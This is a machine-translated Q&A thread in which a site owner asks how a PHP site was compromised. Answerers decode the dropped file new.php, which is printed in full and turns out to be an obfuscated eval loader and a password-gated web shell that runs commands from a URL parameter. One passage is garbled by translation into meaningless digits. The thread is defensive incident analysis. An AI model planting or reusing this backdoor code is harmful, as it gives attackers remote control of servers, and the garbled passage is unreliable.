我的PHP代码中存在什么漏洞?

我的PHP代码中存在什么漏洞?,php,security,Php,Security,我的一个网站最近遭到黑客攻击。尽管实际的网站保持不变,但他们还是设法利用该域名创建了一个链接,重新指向ebay钓鱼欺诈 由于明显的原因,我已经关闭了网站,所以我无法链接到代码。我想知道我怎样才能找出他们使用了什么漏洞,这样我就可以在将来避免这个问题。该页面使用了PHP和一些javascript(用于表单验证) 是否有免费的服务可以扫描我的代码以发现漏洞?我的其他选择是什么 谢谢, 杰夫 编辑:我已在[链接已删除]托管文件 需要注意的几件事:“funcs”文件夹中有几个文件,其中大部分没有使用,但

我的一个网站最近遭到黑客攻击。尽管实际的网站保持不变,但他们还是设法利用该域名创建了一个链接,重新指向ebay钓鱼欺诈

由于明显的原因,我已经关闭了网站,所以我无法链接到代码。我想知道我怎样才能找出他们使用了什么漏洞,这样我就可以在将来避免这个问题。该页面使用了PHP和一些javascript(用于表单验证)

是否有免费的服务可以扫描我的代码以发现漏洞?我的其他选择是什么

谢谢, 杰夫

编辑:我已在[链接已删除]托管文件

需要注意的几件事:“funcs”文件夹中有几个文件,其中大部分没有使用,但我把它们留在那里以防万一。“data”文件夹中的“new.php”(以下内容)显然是问题所在。最大的问题是,有人是如何将“new.php”上传到服务器的?还有一封我收到的电子邮件的RTF,里面有关于这个骗局的信息

(注意:此代码可能对您的计算机“危险”)


如果您使用的是VCS(版本控制,如git、mercurial、subversion、cvs),那么您只需对上一次提交做一个区分,然后再继续


您正在使用版本控制,对吗?

您有权访问服务器日志吗?如果您有第一次攻击发生的大致时间,他们应该能够帮助您了解此人所做的事情。除了给出一般性的建议,没有更多的信息真的很难说


您能否共享代码(请确保删除用户名/密码等)?如果是这样的话,我愿意看一看,但可能需要一天左右的时间(对不起,我目前正在编写SQL注入漏洞报告、识别受限数据的建议,以及未来防止这种情况发生的标准/流程,我有四个孩子在家,包括一个3个月大的孩子)。

这里发生了有趣的事情。php块的计算结果是一个漂亮的小“代码生成器”:


$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
本研究的第三部分是第7 7 7 7 7 7 7.zy6.6KL/fnn/5 5 5 5 5 5 5 5-5 5 5 5-5 5 5-5 5 5-5 5 5-5 5 5-5 5 5 5-5 5 5 5-5 5 5-5 5 5-8 8 8 8 8 8 8 8-8 8 8 8-8 8 8 8-3-8 8-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3#nb%o}KLf \“/#nazi64#xao}K;KLyx”;
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_C71R72Y32P95T83E53E53D_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_C9O16E83=strlen($S32T836I71N72G_O95U53T9E7U16T72);
$e72v71a16l_p83h32p_c95o53d9e47='';
对于($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m)
请注意,字符串:
'417379a25e41bd0ac88f87dc3d029485'
是密码Zrhenjq2009的md5散列

我明天再把这件事讨论一下

编辑:
好的,我又花了几分钟玩这个。它看起来像一个远程控制脚本。现在,这个页面(new.php)位于您的服务器上,如果用户点击此页面并传递一个名为“pass”的url参数,该参数的值为“Zrhenjq2009”,则他们可以通过将url中的命令和参数作为名为“c”的参数传递,在服务器上执行外部命令。因此,这是一个代码生成器,可在服务器上创建后门.很酷

我拉下了您上传的文件并运行了new.php,它似乎是一个新的(或实质性修改的)特洛伊木马。此外,51.php似乎是PHPSpy特洛伊木马:,74.php是php.Shellbot特洛伊木马,func.php是“webshell by orb”。看起来有人在你的服务器上丢了一个不错的黑客工具包,还有你上传的文档中引用的ebay钓鱼脚本/页面

您可能应该删除原始帖子中的文件下载链接

如果你拿到了日志,可能会有兴趣看一看


享受。

我认为这个问题在…或@Maxpm上的安全StackExchange测试版上可能会更好,但我不是服务器管理员。这是代码中的漏洞,而不是网络本身。不幸的是,我无法链接到代码,但如果有人愿意帮助,我可能可以。将网站压缩并在某个地方托管?我会的重新发布在security.stackexchange上,谢谢!不过,如果有人有任何想法,请让我知道…这个问题也在stackexchange上。实际上,这是一个一次性的项目。这是一个在线心理学实验,我在Mturk上招募了参与者。我制作了数百个,完成后通常不会从服务器上删除它们。这s是第一个受到攻击的版本。我真的不明白这与在源代码上使用版本控制有什么关系。我的意思是,托管的代码是第一个也是最后一个版本。我在大约15分钟内编写了它,从未计划再次编辑它。不需要版本控制。通常,在我l收集数据(约1-2天)该网站不再有任何用途。我的印象是,你想要一个工具来扫描它是如何被修改的,而不是尽职调查以确保其相对安全。这不是尽职调查的问题,而是无知的问题!页面本身没有被修改。利用漏洞将文件添加到服务器。该文件已被删除用作网络钓鱼诈骗的一部分。我查看了代码,但不知道漏洞在哪里。我无法立即访问日志,但我可能能够获取它们。我明天会调查此事……我已将所有代码上传到网站上,以防你有机会查看。如果你很忙,我完全理解!良好的分析,但是它的目的是从服务器转储文件,而不是执行它们。
passthru()
命令检索
$\u GET[c]
中引用的文件并将其发送到服务器。请注意
    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>

$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");

$Coefficient=70;

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";

$TargetString=$InitialString;

$CntLimit=strlen($TargetString);

$Output='';

for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);

eval("?>".$Output."<?");

<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
       '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
 echo '<pre>';
 passthru(stripslashes($_GET[c]));
 include($_GET[c]);
 die('</pre>');
}
?>